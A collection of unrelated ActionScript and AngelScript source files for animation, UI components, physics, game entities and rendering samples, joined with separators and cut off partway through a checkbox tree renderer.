public static function isTweening(target:Object):Boolean {
var a:Array = getTweensOf(target);
var i:int = a.length;
var tween:TweenLite;
while (--i > -1) {
tween = a[i];
if ((tween.active || (tween.cachedStartTime == tween.timeline.cachedTime && tween.timeline.active))) {
return true;
}
}
return false;
}
/**
* Returns all tweens that are in the masterList. Tweens are automatically removed from the
* masterList when they complete and are not attached to a timeline that has
* autoRemoveChildren set to true.
*
* @return Array of TweenLite and/or TweenMax instances
*/
public static function getAllTweens():Array {
var ml:Dictionary = masterList; //speeds things up slightly
var cnt:int = 0;
var toReturn:Array = [], a:Array, i:int;
for each (a in ml) {
i = a.length;
while (--i > -1) {
if (!TweenLite(a[i]).gc) {
toReturn[cnt++] = a[i];
}
}
}
return toReturn;
}
/**
* Kills all tweens and/or delayedCalls/callbacks, optionally forcing them to completion first. The
* various parameters provide a way to distinguish between delayedCalls and tweens, so if you want to
* kill EVERYTHING (tweens and delayedCalls), you'd do:<br /><br /><code>
*
* TweenMax.killAll(false, true, true);<br /><br /></code>
*
* But if you want to kill only the tweens but allow the delayedCalls to continue, you'd do:<br /><br /><code>
*
* TweenMax.killAll(false, true, false);<br /><br /></code>
*
* And if you want to kill only the delayedCalls but not the tweens, you'd do:<br /><br /><code>
*
* TweenMax.killAll(false, false, true);<br /></code>
*
* @param complete Determines whether or not the tweens/delayedCalls/callbacks should be forced to completion before being killed.
* @param tweens If true, all tweens will be killed
* @param delayedCalls If true, all delayedCalls will be killed. TimelineMax callbacks are treated the same as delayedCalls.
*/
public static function killAll(complete:Boolean=false, tweens:Boolean=true, delayedCalls:Boolean=true):void {
var a:Array = getAllTweens();
var isDC:Boolean; //is delayedCall
var i:int = a.length;
while (--i > -1) {
isDC = (a[i].target == a[i].vars.onComplete);
if (isDC == delayedCalls || isDC != tweens) {
if (complete) {
a[i].complete(false);
} else {
a[i].setEnabled(false, false);
}
}
}
}
/**
* Kills all tweens of the children of a particular DisplayObjectContainer, optionally forcing them to completion first.
*
* @param parent The DisplayObjectContainer whose children should no longer be affected by any tweens.
* @param complete Determines whether or not the tweens should be forced to completion before being killed.
*/
public static function killChildTweensOf(parent:DisplayObjectContainer, complete:Boolean=false):void {
var a:Array = getAllTweens();
var curTarget:Object, curParent:DisplayObjectContainer;
var i:int = a.length;
while (--i > -1) {
curTarget = a[i].target;
if (curTarget is DisplayObject) {
curParent = curTarget.parent;
while (curParent) {
if (curParent == parent) {
if (complete) {
a[i].complete(false);
} else {
a[i].setEnabled(false, false);
}
}
curParent = curParent.parent;
}
}
}
}
/**
* Pauses all tweens and/or delayedCalls/callbacks.
*
* @param tweens If true, all tweens will be paused.
* @param delayedCalls If true, all delayedCalls will be paused. TimelineMax callbacks are treated the same as delayedCalls.
*/
public static function pauseAll(tweens:Boolean=true, delayedCalls:Boolean=true):void {
changePause(true, tweens, delayedCalls);
}
/**
* Resumes all paused tweens and/or delayedCalls/callbacks.
*
* @param tweens If true, all tweens will be resumed.
* @param delayedCalls If true, all delayedCalls will be resumed. TimelineMax callbacks are treated the same as delayedCalls.
*/
public static function resumeAll(tweens:Boolean=true, delayedCalls:Boolean=true):void {
changePause(false, tweens, delayedCalls);
}
/**
* @private
* Changes the paused state of all tweens and/or delayedCalls/callbacks
*
* @param pause Desired paused state
* @param tweens If true, all tweens will be affected.
* @param delayedCalls If true, all delayedCalls will be affected. TimelineMax callbacks are treated the same as delayedCalls.
*/
private static function changePause(pause:Boolean, tweens:Boolean=true, delayedCalls:Boolean=false):void {
var a:Array = getAllTweens();
var isDC:Boolean; //is delayedCall
var i:int = a.length;
while (--i > -1) {
isDC = (TweenLite(a[i]).target == TweenLite(a[i]).vars.onComplete);
if (isDC == delayedCalls || isDC != tweens) {
TweenCore(a[i]).paused = pause;
}
}
}
//---- GETTERS / SETTERS ----------------------------------------------------------------------------------------------------------
/**
* Value between 0 and 1 indicating the progress of the tween according to its <code>duration</code>
* where 0 is at the beginning, 0.5 is halfway finished, and 1 is finished. <code>totalProgress</code>,
* by contrast, describes the overall progress according to the tween's <code>totalDuration</code>
* which includes repeats and repeatDelays (if there are any). For example, if a TweenMax instance
* is set to repeat once, at the end of the first cycle <code>totalProgress</code> would only be 0.5
* whereas <code>currentProgress</code> would be 1. If you tracked both properties over the course of the
* tween, you'd see <code>currentProgress</code> go from 0 to 1 twice (once for each cycle) in the same
* time it takes the <code>totalProgress</code> property to go from 0 to 1 once.
**/
public function get currentProgress():Number {
return this.cachedTime / this.duration;
}
public function set currentProgress(n:Number):void {
if (_cyclesComplete == 0) {
setTotalTime(this.duration * n, false);
} else {
setTotalTime(this.duration * n + (_cyclesComplete * this.cachedDuration), false);
}
}
/**
* Value between 0 and 1 indicating the overall progress of the tween according to its <code>totalDuration</code>
* where 0 is at the beginning, 0.5 is halfway finished, and 1 is finished. <code>currentProgress</code>,
* by contrast, describes the progress according to the tween's <code>duration</code> which does not
* include repeats and repeatDelays. For example, if a TweenMax instance is set to repeat
* once, at the end of the first cycle <code>totalProgress</code> would only be 0.5
* whereas <code>currentProgress</code> would be 1. If you tracked both properties over the course of the
* tween, you'd see <code>currentProgress</code> go from 0 to 1 twice (once for each cycle) in the same
* time it takes the <code>totalProgress</code> property to go from 0 to 1 once.
**/
public function get totalProgress():Number {
return this.cachedTotalTime / this.totalDuration;
}
public function set totalProgress(n:Number):void {
setTotalTime(this.totalDuration * n, false);
}
/**
* Most recently rendered time (or frame for frames-based timelines) according to the tween's
* duration. <code>totalTime</code>, by contrast, is based on the <code>totalDuration</code> which includes repeats and repeatDelays.
* For example, if a TweenMax instance has a duration of 5 a repeat of 1 (meaning its
* <code>totalDuration</code> is 10), at the end of the second cycle, <code>currentTime</code> would be 5 whereas <code>totalTime</code>
* would be 10. If you tracked both properties over the course of the tween, you'd see <code>currentTime</code>
* go from 0 to 5 twice (one for each cycle) in the same time it takes <code>totalTime</code> go from 0 to 10.
*/
override public function set currentTime(n:Number):void {
if (_cyclesComplete == 0) {
//no change needed
} else if (this.yoyo && (_cyclesComplete % 2 == 1)) {
n = (this.duration - n) + (_cyclesComplete * (this.cachedDuration + _repeatDelay));
} else {
n += (_cyclesComplete * (this.duration + _repeatDelay));
}
setTotalTime(n, false);
}
/**
* Duration of the tween in seconds (or frames for frames-based timelines) including any repeats
* or repeatDelays. <code>duration</code>, by contrast, does NOT include repeats and repeatDelays.
**/
override public function get totalDuration():Number {
if (this.cacheIsDirty) {
//instead of Infinity, we use 999999999999 so that we can accommodate reverses
this.cachedTotalDuration = (_repeat == -1) ? 999999999999 : this.cachedDuration * (_repeat + 1) + (_repeatDelay * _repeat);
this.cacheIsDirty = false;
}
return this.cachedTotalDuration;
}
override public function set totalDuration(n:Number):void {
if (_repeat == -1) {
return;
}
this.duration = (n - (_repeat * _repeatDelay)) / (_repeat + 1);
}
/** Multiplier affecting the speed of the timeline where 1 is normal speed, 0.5 is half-speed, 2 is double speed, etc. **/
public function get timeScale():Number {
return this.cachedTimeScale;
}
public function set timeScale(n:Number):void {
if (n == 0) { //can't allow zero because it'll throw the math off
n = 0.0001;
}
var tlTime:Number = (this.cachedPauseTime || this.cachedPauseTime == 0) ? this.cachedPauseTime : this.timeline.cachedTotalTime;
this.cachedStartTime = tlTime - ((tlTime - this.cachedStartTime) * this.cachedTimeScale / n);
this.cachedTimeScale = n;
setDirtyCache(false);
}
/** Number of times that the tween should repeat; -1 repeats indefinitely. **/
public function get repeat():int {
return _repeat;
}
public function set repeat(n:int):void {
_repeat = n;
setDirtyCache(true);
}
/** Amount of time in seconds (or frames for frames-based tweens) between repeats **/
public function get repeatDelay():Number {
return _repeatDelay;
}
public function set repeatDelay(n:Number):void {
_repeatDelay = n;
setDirtyCache(true);
}
/** Multiplier describing the speed of the root timelines where 1 is normal speed, 0.5 is half-speed, 2 is double speed, etc. The lowest globalTimeScale possible is 0.0001. **/
public static function get globalTimeScale():Number {
return (TweenLite.rootTimeline == null) ? 1 : TweenLite.rootTimeline.cachedTimeScale;
}
public static function set globalTimeScale(n:Number):void {
if (n == 0) { //can't allow zero because it'll throw the math off
n = 0.0001;
}
if (TweenLite.rootTimeline == null) {
TweenLite.to({}, 0, {}); //forces initialization in case globalTimeScale is set before any tweens are created.
}
var tl:SimpleTimeline = TweenLite.rootTimeline;
var curTime:Number = (getTimer() * 0.001)
tl.cachedStartTime = curTime - ((curTime - tl.cachedStartTime) * tl.cachedTimeScale / n);
tl = TweenLite.rootFramesTimeline;
curTime = TweenLite.rootFrame;
tl.cachedStartTime = curTime - ((curTime - tl.cachedStartTime) * tl.cachedTimeScale / n);
TweenLite.rootFramesTimeline.cachedTimeScale = TweenLite.rootTimeline.cachedTimeScale = n;
}
}
} |
package cry_fla
{
import flash.display.*;
dynamic public class eyeR_2 extends MovieClip
{
public var theColor_ccEyeLib:MovieClip;
public var theColor_ccEyeIris:MovieClip;
public function eyeR_2()
{
return;
}// end function
}
}
|
// =================================================================================================
//
// CadetEngine Framework
// Copyright 2012 Unwrong Ltd. All Rights Reserved.
//
// This program is free software. You can redistribute and/or modify it
// in accordance with the terms of the accompanying license agreement.
//
// =================================================================================================
package cadet2DBox2D.components.processes
{
import Box2D.Dynamics.Joints.b2Joint;
import Box2D.Dynamics.b2DestructionListener;
public class PhysicsProcessDestructionListener extends b2DestructionListener
{
private var process :PhysicsProcess;
public function PhysicsProcessDestructionListener( process:PhysicsProcess )
{
this.process = process;
}
override public function SayGoodbyeJoint(joint:b2Joint):void
{
process.jointDestroyed(joint);
}
}
} |
package kabam.rotmg.messaging.impl.outgoing {
import flash.utils.IDataOutput;
public class PlayerText extends OutgoingMessage {
public var text_:String;
public function PlayerText(param1:uint, param2:Function) {
this.text_ = new String();
super(param1,param2);
}
override public function writeToOutput(param1:IDataOutput) : void {
param1.writeUTF(this.text_);
}
override public function toString() : String {
return formatToString("PLAYERTEXT","text_");
}
}
}
|
package com.smbc.enemies
{
import com.explodingRabbit.cross.gameplay.statusEffects.StatusProperty;
import com.smbc.data.EnemyInfo;
import com.smbc.data.HealthValue;
import com.smbc.data.ScoreValue;
import flash.events.TimerEvent;
import flash.geom.Point;
public class Beetle extends KoopaGreen
{
public static const ENEMY_NUM:int = EnemyInfo.Beetle;
public function Beetle(fLab:String)
{
super(fLab);
if (fLab.indexOf("Black") != -1 || fLab.indexOf("Brown") != -1)
colorNum = 1;
else if (fLab.indexOf("Blue") != -1)
colorNum = 2;
else if (fLab.indexOf("Gray") != -1)
colorNum = 3;
addProperty( new StatusProperty( PR_PIERCE_PAS, PIERCE_STR_ARMORED ) );
stompKills = false;
}
override protected function overwriteInitialStats():void
{
_health = HealthValue.BEETLE;
scoreAttack = ScoreValue.BEETLE_ATTACK;
scoreBelow = ScoreValue.BEETLE_BELOW;
scoreStar = ScoreValue.BEETLE_STAR;
scoreStomp = ScoreValue.BEETLE_STOMP;
super.overwriteInitialStats();
}
override protected function shellTmr1Handler(e:TimerEvent):void
{
SHELL_TMR_1.reset();
SHELL_TMR_2.start();
}
}
} |
// Multiple viewports example.
// This sample demonstrates:
// - Setting up two viewports with two separate cameras
// - Adding post processing effects to a viewport's render path and toggling them
#include "Scripts/Utilities/Sample.as"
Scene@ scene_;
Node@ cameraNode;
Node@ rearCameraNode;
float yaw = 0.0f;
float pitch = 0.0f;
bool drawDebug = false;
void Start()
{
// Execute the common startup for samples
SampleStart();
// Create the scene content
CreateScene();
// Create the UI content
CreateInstructions();
// Setup the viewports for displaying the scene
SetupViewports();
// Hook up to the frame update and render post-update events
SubscribeToEvents();
}
void CreateScene()
{
scene_ = Scene();
// Create octree, use default volume (-1000, -1000, -1000) to (1000, 1000, 1000)
// Also create a DebugRenderer component so that we can draw debug geometry
scene_.CreateComponent("Octree");
scene_.CreateComponent("DebugRenderer");
// Create scene node & StaticModel component for showing a static plane
Node@ planeNode = scene_.CreateChild("Plane");
planeNode.scale = Vector3(100.0f, 1.0f, 100.0f);
StaticModel@ planeObject = planeNode.CreateComponent("StaticModel");
planeObject.model = cache.GetResource("Model", "Models/Plane.mdl");
planeObject.material = cache.GetResource("Material", "Materials/StoneTiled.xml");
// Create a Zone component for ambient lighting & fog control
Node@ zoneNode = scene_.CreateChild("Zone");
Zone@ zone = zoneNode.CreateComponent("Zone");
zone.boundingBox = BoundingBox(-1000.0f, 1000.0f);
zone.ambientColor = Color(0.15f, 0.15f, 0.15f);
zone.fogColor = Color(0.5f, 0.5f, 0.7f);
zone.fogStart = 100.0f;
zone.fogEnd = 300.0f;
// Create a directional light to the world. Enable cascaded shadows on it
Node@ lightNode = scene_.CreateChild("DirectionalLight");
lightNode.direction = Vector3(0.6f, -1.0f, 0.8f);
Light@ light = lightNode.CreateComponent("Light");
light.lightType = LIGHT_DIRECTIONAL;
light.castShadows = true;
light.shadowBias = BiasParameters(0.00025f, 0.5f);
// Set cascade splits at 10, 50 and 200 world units, fade shadows out at 80% of maximum shadow distance
light.shadowCascade = CascadeParameters(10.0f, 50.0f, 200.0f, 0.0f, 0.8f);
// Create some mushrooms
const uint NUM_MUSHROOMS = 240;
for (uint i = 0; i < NUM_MUSHROOMS; ++i)
{
Node@ mushroomNode = scene_.CreateChild("Mushroom");
mushroomNode.position = Vector3(Random(90.0f) - 45.0f, 0.0f, Random(90.0f) - 45.0f);
mushroomNode.rotation = Quaternion(0.0f, Random(360.0f), 0.0f);
mushroomNode.SetScale(0.5f + Random(2.0f));
StaticModel@ mushroomObject = mushroomNode.CreateComponent("StaticModel");
mushroomObject.model = cache.GetResource("Model", "Models/Mushroom.mdl");
mushroomObject.material = cache.GetResource("Material", "Materials/Mushroom.xml");
mushroomObject.castShadows = true;
}
// Create randomly sized boxes. If boxes are big enough, make them occluders. Occluders will be software rasterized before
// rendering to a low-resolution depth-only buffer to test the objects in the view frustum for visibility
const uint NUM_BOXES = 20;
for (uint i = 0; i < NUM_BOXES; ++i)
{
Node@ boxNode = scene_.CreateChild("Box");
float size = 1.0f + Random(10.0f);
boxNode.position = Vector3(Random(80.0f) - 40.0f, size * 0.5f, Random(80.0f) - 40.0f);
boxNode.SetScale(size);
StaticModel@ boxObject = boxNode.CreateComponent("StaticModel");
boxObject.model = cache.GetResource("Model", "Models/Box.mdl");
boxObject.material = cache.GetResource("Material", "Materials/Stone.xml");
boxObject.castShadows = true;
if (size >= 3.0f)
boxObject.occluder = true;
}
// Create the cameras. Limit far clip distance to match the fog
cameraNode = scene_.CreateChild("Camera");
Camera@ camera = cameraNode.CreateComponent("Camera");
camera.farClip = 300.0f;
// Parent the rear camera node to the front camera node and turn it 180 degrees to face backward
// Here, we use the angle-axis constructor for Quaternion instead of the usual Euler angles
rearCameraNode = cameraNode.CreateChild("RearCamera");
rearCameraNode.Rotate(Quaternion(180.0f, Vector3(0.0f, 1.0f, 0.0f)));
Camera@ rearCamera = rearCameraNode.CreateComponent("Camera");
rearCamera.farClip = 300.0f;
// Because the rear viewport is rather small, disable occlusion culling from it. Use the camera's
// "view override flags" for this. We could also disable eg. shadows or force low material quality
// if we wanted
rearCamera.viewOverrideFlags = VO_DISABLE_OCCLUSION;
// Set an initial position for the front camera scene node above the plane
cameraNode.position = Vector3(0.0f, 5.0f, 0.0f);
}
void CreateInstructions()
{
// Construct new Text object, set string to display and font to use
Text@ instructionText = ui.root.CreateChild("Text");
instructionText.text =
"Use WASD keys and mouse to move\n"
"B to toggle bloom, F to toggle FXAA\n"
"Space to toggle debug geometry\n";
instructionText.SetFont(cache.GetResource("Font", "Fonts/Anonymous Pro.ttf"), 15);
// The text has multiple rows. Center them in relation to each other
instructionText.textAlignment = HA_CENTER;
// Position the text relative to the screen center
instructionText.horizontalAlignment = HA_CENTER;
instructionText.verticalAlignment = VA_CENTER;
instructionText.SetPosition(0, ui.root.height / 4);
}
void SetupViewports()
{
renderer.numViewports = 2;
// Set up the front camera viewport
Viewport@ viewport = Viewport(scene_, cameraNode.GetComponent("Camera"));
renderer.viewports[0] = viewport;
// Clone the default render path so that we do not interfere with the other viewport, then add
// bloom and FXAA post process effects to the front viewport. Render path commands can be tagged
// for example with the effect name to allow easy toggling on and off. We start with the effects
// disabled.
RenderPath@ effectRenderPath = viewport.renderPath.Clone();
effectRenderPath.Append(cache.GetResource("XMLFile", "PostProcess/Bloom.xml"));
effectRenderPath.Append(cache.GetResource("XMLFile", "PostProcess/EdgeFilter.xml"));
// Make the bloom mixing parameter more pronounced
effectRenderPath.shaderParameters["BloomMix"] = Variant(Vector2(0.9f, 0.6f));
effectRenderPath.SetEnabled("Bloom", false);
effectRenderPath.SetEnabled("EdgeFilter", false);
viewport.renderPath = effectRenderPath;
// Set up the rear camera viewport on top of the front view ("rear view mirror")
// The viewport index must be greater in that case, otherwise the view would be left behind
Viewport@ rearViewport = Viewport(scene_, rearCameraNode.GetComponent("Camera"),
IntRect(graphics.width * 2 / 3, 32, graphics.width - 32, graphics.height / 3));
renderer.viewports[1] = rearViewport;
}
void SubscribeToEvents()
{
// Subscribe HandleUpdate() function for processing update events
SubscribeToEvent("Update", "HandleUpdate");
// Subscribe HandlePostRenderUpdate() function for processing the post-render update event, during which we request
// debug geometry
SubscribeToEvent("PostRenderUpdate", "HandlePostRenderUpdate");
}
void MoveCamera(float timeStep)
{
// Do not move if the UI has a focused element (the console)
if (ui.focusElement !is null)
return;
// Movement speed as world units per second
const float MOVE_SPEED = 20.0f;
// Mouse sensitivity as degrees per pixel
const float MOUSE_SENSITIVITY = 0.1f;
// Use this frame's mouse motion to adjust camera node yaw and pitch. Clamp the pitch between -90 and 90 degrees
IntVector2 mouseMove = input.mouseMove;
yaw += MOUSE_SENSITIVITY * mouseMove.x;
pitch += MOUSE_SENSITIVITY * mouseMove.y;
pitch = Clamp(pitch, -90.0f, 90.0f);
// Construct new orientation for the camera scene node from yaw and pitch. Roll is fixed to zero
cameraNode.rotation = Quaternion(pitch, yaw, 0.0f);
// Read WASD keys and move the camera scene node to the corresponding direction if they are pressed
if (input.keyDown['W'])
cameraNode.Translate(Vector3(0.0f, 0.0f, 1.0f) * MOVE_SPEED * timeStep);
if (input.keyDown['S'])
cameraNode.Translate(Vector3(0.0f, 0.0f, -1.0f) * MOVE_SPEED * timeStep);
if (input.keyDown['A'])
cameraNode.Translate(Vector3(-1.0f, 0.0f, 0.0f) * MOVE_SPEED * timeStep);
if (input.keyDown['D'])
cameraNode.Translate(Vector3(1.0f, 0.0f, 0.0f) * MOVE_SPEED * timeStep);
// Toggle post processing effects on the front viewport. Note that the rear viewport is unaffected
RenderPath@ effectRenderPath = renderer.viewports[0].renderPath;
if (input.keyPress['B'])
effectRenderPath.ToggleEnabled("Bloom");
if (input.keyPress['F'])
effectRenderPath.ToggleEnabled("EdgeFilter");
// Toggle debug geometry with space
if (input.keyPress[KEY_SPACE])
drawDebug = !drawDebug;
}
void HandleUpdate(StringHash eventType, VariantMap& eventData)
{
// Take the frame time step, which is stored as a float
float timeStep = eventData["TimeStep"].GetFloat();
// Move the camera, scale movement with time step
MoveCamera(timeStep);
}
void HandlePostRenderUpdate(StringHash eventType, VariantMap& eventData)
{
// If draw debug mode is enabled, draw viewport debug geometry. Disable depth test so that we can see the effect of occlusion
if (drawDebug)
renderer.DrawDebugGeometry(false);
}
|
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
/*
* Internal Interface InternalInterface
* Interface methods
*
*/
package InternalClassImpInternalIntname{
internal interface InternalInt{
function deffunc():String;
}
}
|
/*
* FlashCanvas
*
* Copyright (c) 2009 Shinya Muramatsu
* Copyright (c) 2009-2011 FlashCanvas Project
* Licensed under the MIT License.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*
* @author Colin Leung (developed ASCanvas)
* @author Shinya Muramatsu
* @see http://code.google.com/p/ascanvas/
*/
package com.googlecode.flashcanvas
{
import flash.display.GradientType;
import flash.geom.Matrix;
public class LinearGradient extends CanvasGradient
{
public function LinearGradient(x0:Number, y0:Number, x1:Number, y1:Number)
{
type = GradientType.LINEAR;
// If x0 = x1 and y0 = y1, then the linear gradient must paint
// nothing.
if (x0 == x1 && y0 == y1)
return;
var dx:Number = x1 - x0;
var dy:Number = y1 - y0;
var cx:Number = (x0 + x1) / 2;
var cy:Number = (y0 + y1) / 2;
var d:Number = Math.sqrt(dx * dx + dy * dy);
var tx:Number = cx - d / 2;
var ty:Number = cy - d / 2;
var rotation:Number = Math.atan2(dy, dx);
matrix = new Matrix();
matrix.createGradientBox(d, d, rotation, tx, ty);
}
}
}
|
package com.flashblocks.events {
import com.flashblocks.blocks.Block;
import flash.display.DisplayObjectContainer;
import flash.events.Event;
/**
* ...
* @author Trevor Rundell
*/
public class BlockDragEvent extends Event {
public static const DRAG_START:String = "dragStart";
public static const DRAG_COMPLETE:String = "dragComplete";
public static const DRAG_DROP:String = "dragDrop";
public var block:Block;
public var parent:DisplayObjectContainer;
public function BlockDragEvent(type:String, bubbles:Boolean=false, cancelable:Boolean=false, block:Block=null, parent:DisplayObjectContainer=null) {
super(type, bubbles, cancelable);
this.block = block;
this.parent = parent;
}
public override function clone():Event {
return new BlockDragEvent(type, bubbles, cancelable, block, parent);
}
public override function toString():String {
return formatToString("BlockDragEvent", "type", "bubbles", "cancelable", "eventPhase");
}
}
}
|
package com.pialabs.eskimo.components
{
import com.pialabs.eskimo.events.DeletableListEvent;
import flash.events.Event;
import mx.core.ClassFactory;
import mx.core.IVisualElement;
import mx.core.UIComponent;
import mx.core.mx_internal;
import mx.events.StateChangeEvent;
import mx.states.State;
import spark.components.IItemRenderer;
import spark.components.List;
use namespace mx_internal;
/**
* Dispatched when an item is deleted
*/
[Event(name = "itemDeleted", type = "com.pialabs.eskimo.events.DeletableListEvent")]
/**
* List that can contain deletable itemrenderers. Use can swith to edition mode then remove item from the list.
* @see com.pialabs.eskimo.components.DeletableItemRenderer
* @see com.pialabs.eskimo.components.DeletableItemRendererOverlay
*/
public class DeletableList extends List
{
/**
* Normal State const.
*/
protected static const NORMAL_STATE:String = "normal";
/**
* Edition State const. The user is able to remove item from the list.
*/
protected static const EDITION_STATE:String = "edition";
/**
* @private
*/
protected var _editionMode:Boolean;
/**
* @private
*/
private var _invalidateItemRendererState:Boolean;
/**
* @private
*/
public function DeletableList()
{
super();
itemRenderer = new ClassFactory(DeletableItemRenderer);
}
/**
* @private
*/
public function invalidateItemRendererState():void
{
_invalidateItemRendererState = true;
invalidateProperties();
}
/**
* @private
*/
override public function updateRenderer(renderer:IVisualElement, itemIndex:int, data:Object):void
{
super.updateRenderer(renderer, itemIndex, data);
if (renderer is DeletableItemRenderer)
{
updateRendererState(renderer);
}
}
/**
* @private
*/
override protected function commitProperties():void
{
super.commitProperties();
if (_invalidateItemRendererState && dataGroup)
{
for (var i:int = 0; i < dataGroup.numElements; i++)
{
var renderer:IVisualElement = useVirtualLayout ? dataGroup.getVirtualElementAt(i) : dataGroup.getElementAt(i);
if (renderer != null)
{
updateRendererState(renderer);
}
}
dataGroup.clearFreeRenderers();
_invalidateItemRendererState = false;
}
}
/**
* Update the renderer state between EDITION_STATE and NORMAL_STATE.
*/
protected function updateRendererState(renderer:IVisualElement):void
{
if (_editionMode)
{
(renderer as UIComponent).currentState = EDITION_STATE;
}
else
{
(renderer as UIComponent).currentState = NORMAL_STATE;
}
}
/**
* Modify the delete button label
*/
public static function set deleteLabel(value:String):void
{
DeletableItemRenderer.deleteLabel = value;
}
/**
* Switch into edition mode
*/
public function set editionMode(value:Boolean):void
{
_editionMode = value;
_invalidateItemRendererState = true;
invalidateProperties();
}
/**
* @private
*/
public function get editionMode():Boolean
{
return _editionMode;
}
}
}
|
package
{
import flash.utils.ByteArray;
public class streaming_pose_12_json$9d38d699d2c5ecf4eb2250d819ce26ad2097167483 extends ByteArray
{
public function streaming_pose_12_json$9d38d699d2c5ecf4eb2250d819ce26ad2097167483()
{
super();
}
}
}
|
package as3ui.ex.tree
{
import flash.events.MouseEvent;
import flash.geom.Rectangle;
import flash.xml.*;
import mx.collections.*;
import mx.controls.CheckBox;
import mx.controls.Tree;
import mx.controls.listClasses.*;
import mx.controls.treeClasses.*;
import mx.events.FlexEvent;
import mx.events.ListEvent;
/**
* 三状态复选框树控件
* <br /><br />
*/
public class CheckTreeRenderer extends TreeItemRenderer
{
protected var myCheckBox:CheckBox;
/**
* STATE_SCHRODINGER : 部分子项选中 <br />
* STATE_CHECKED : 全部子项选中 <br />
* STATE_UNCHECKED : 全部子项未选中 <br />
*/
static private var STATE_SCHRODINGER:int=2;
static private var STATE_CHECKED:int=1;
static private var STATE_UNCHECKED:int=0;
private var myTree:CheckTree;
public function CheckTreeRenderer()
{
super();
mouseEnabled=true;
}
/**
* 初始化完成时处理复选框和图片对象
*
*/
override protected function createChildren():void
{
myCheckBox=new CheckBox();
addChild(myCheckBox);
myCheckBox.addEventListener(MouseEvent.CLICK, checkBoxToggleHandler);
myTree = this.owner as CheckTree;
super.createChildren();
myTree.addEventListener(ListEvent.CHANGE,onPropertyChange);
}
protected function onPropertyChange(e:ListEvent=null):void
{
this.updateDisplayList(unscaledWidth,unscaledHeight);
}
/**
* // TODO : 递归设置父项目的状态
* @param item 项目
* @param tree 树对象
* @param state 目标状态
*
*/
private function toggleParents(item:Object, tree:Tree, state:int):void
{
if (item == null)
return ;
else
{
var stateField:String=myTree.checkBoxStateField;
var tmpTree:IList=myTree.dataProvider as IList;
var oldValue:Number=item[stateField] as Number;
var newValue:Number=state as Number;
item[myTree.checkBoxStateField]=state;
tmpTree.itemUpdated(item,stateField,oldValue,newValue);
//item[myTree.checkBoxStateField]=state;
var parentItem:Object=tree.getParentItem(item);
if(null!=parentItem)
toggleParents(parentItem, tree, getState(tree, parentItem));
}
}
/**
* // TODO : 设置项目的状态和子项的状态
* @param item 项目
* @param tree 树对象
* @param state 目标状态
*
*/
private function toggleChildren(item:Object, tree:Tree, state:int):void
{
if (item == null)
return ;
else
{
var stateField:String=myTree.checkBoxStateField;
var tmpTree:IList=myTree.dataProvider as IList;
var oldValue:Number=item[stateField] as Number;
var newValue:Number=state as Number;
item[myTree.checkBoxStateField]=state;
tmpTree.itemUpdated(item,stateField,oldValue,newValue);
var treeData:ITreeDataDescriptor=tree.dataDescriptor;
if (myTree.checkBoxCascadeOnCheck && treeData.hasChildren(item))
{
var children:ICollectionView=treeData.getChildren(item);
var cursor:IViewCursor=children.createCursor();
while(!cursor.afterLast)
{
toggleChildren(cursor.current, tree, state);
cursor.moveNext();
}
}
}
}
/**
* //TODO:获得parent的状态
* @param tree 树对象
* @param parent 目标项
* @return 状态
*
*/
private function getState(tree:Tree, parent:Object):int
{
var noChecks:int=0;
var noCats:int=0;
var noUnChecks:int=0;
if (parent != null)
{
var treeData:ITreeDataDescriptor=tree.dataDescriptor;
var cursor:IViewCursor=treeData.getChildren(parent).createCursor();
while(!cursor.afterLast)
{
if (cursor.current[myTree.checkBoxStateField] == STATE_CHECKED)
noChecks++;
else if (cursor.current[myTree.checkBoxStateField] == STATE_UNCHECKED)
noUnChecks++;
else
noCats++;
cursor.moveNext();
}
}
if ((noChecks > 0 && noUnChecks > 0) || noCats > 0)
return STATE_SCHRODINGER;
else if (noChecks > 0)
return STATE_CHECKED;
else
return STATE_UNCHECKED;
}
/**
* //TODO:设置项目的父项状态和子项状态
* @param event 事件
*
*/
private function checkBoxToggleHandler(event:MouseEvent):void
{
if (data)
{
var myListData:TreeListData=TreeListData(this.listData);
var selectedNode:Object=myListData.item;
myTree=myListData.owner as CheckTree;
var toggle:Boolean=myCheckBox.selected;
if (toggle)
{
toggleChildren(data, myTree, STATE_CHECKED);
if (myTree.checkBoxOpenItemsOnCheck)
myTree.expandChildrenOf(data, true);
}
else
{
toggleChildren(data, myTree, STATE_UNCHECKED);
if (myTree.checkBoxCloseItemsOnUnCheck)
myTree.expandChildrenOf(data, false);
}
//TODO:如果所有子项选中时需要选中父项则执行以下代码
if (myTree.checkBoxCascadeOnCheck)
{
var parent:Object=myTree.getParentItem(data);
if(null!=parent)
toggleParents(parent, myTree, getState(myTree, parent));
}
}
//myTree.PropertyChange();
//dispatchEvent(new FlexEvent(FlexEvent.DATA_CHANGE));
}
/**
* 设置本项的复选框状态
* @param checkBox 复选框
* @param value
* @param state 状态
*
*/
private function setCheckState(checkBox:CheckBox, value:Object, state:int):void
{
if (state == STATE_CHECKED)
checkBox.selected=true;
else if (state == STATE_UNCHECKED)
checkBox.selected=false;
else if (state == STATE_SCHRODINGER)
checkBox.selected=false;
}
override public function set data(value:Object):void
{
if (value != null)
{
super.data=value;
setCheckState(myCheckBox, value, value[myTree.checkBoxStateField]);
}
}
override protected function updateDisplayList(unscaledWidth:Number, unscaledHeight:Number):void
{
super.updateDisplayList(unscaledWidth, unscaledHeight);
if (super.data)
{
if (super.icon != null)
{
